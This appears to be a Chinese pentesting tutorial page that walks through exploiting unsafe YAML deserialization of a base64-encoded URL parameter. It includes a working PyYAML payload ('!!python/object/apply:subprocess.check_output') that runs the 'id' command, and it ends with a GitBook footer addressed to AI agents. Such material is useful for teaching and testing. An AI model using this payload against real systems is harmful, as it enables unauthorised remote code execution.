> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/deserialization-yaml-attack/des-yaml-base64-url-pentesting-web.md).

# YAML 反序列化 Base64 URL

在 **URL**，描述中显示的内容被编码为 **base64**:

<figure><img src="/files/6e66d2a0cd7512aeaa35164dcc7b0eff50beb887" alt=""><figcaption></figcaption></figure>

如果我们对 base64 的英文文本进行解码，我们会看到这确实与以下文本一致：

<figure><img src="/files/bac9a17c3a68a5e80e94ba3e9418a9cc3a9a3f77" alt=""><figcaption></figcaption></figure>

我们进行一次测试，以验证我们是否能够 **修改此内容** 从我们这边。需要添加“yaml:”】【：

<figure><img src="/files/b0bf9fd25a89d199cb9c6bb94b83f6413045519b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c4a2b8587a5bb7a4992d70a135a64b79b206530c" alt=""><figcaption></figcaption></figure>

然后我们尝试注入命令，在这种情况下 **id** 命令，如下所示：

```bash
yaml: !!python/object/apply:subprocess.check_output ['id']

```

<figure><img src="/files/5a5b9b9f2d7ba23e5b184acd2ea322969a09eadb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d395e816e64d5e415d0c78d5ce3010d87d08a37f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/deserialization-yaml-attack/des-yaml-base64-url-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
